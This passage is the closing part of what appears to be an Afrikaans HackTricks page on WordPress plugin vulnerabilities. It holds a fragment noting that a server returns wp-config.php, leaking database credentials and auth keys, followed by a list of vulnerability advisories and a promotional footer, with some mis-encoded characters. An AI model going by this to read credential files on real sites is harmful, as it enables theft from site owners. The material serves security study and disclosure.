Die server reageer met die inhoud van wp-config.php
, leaking DB credentials and auth keys.
Verwysings
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.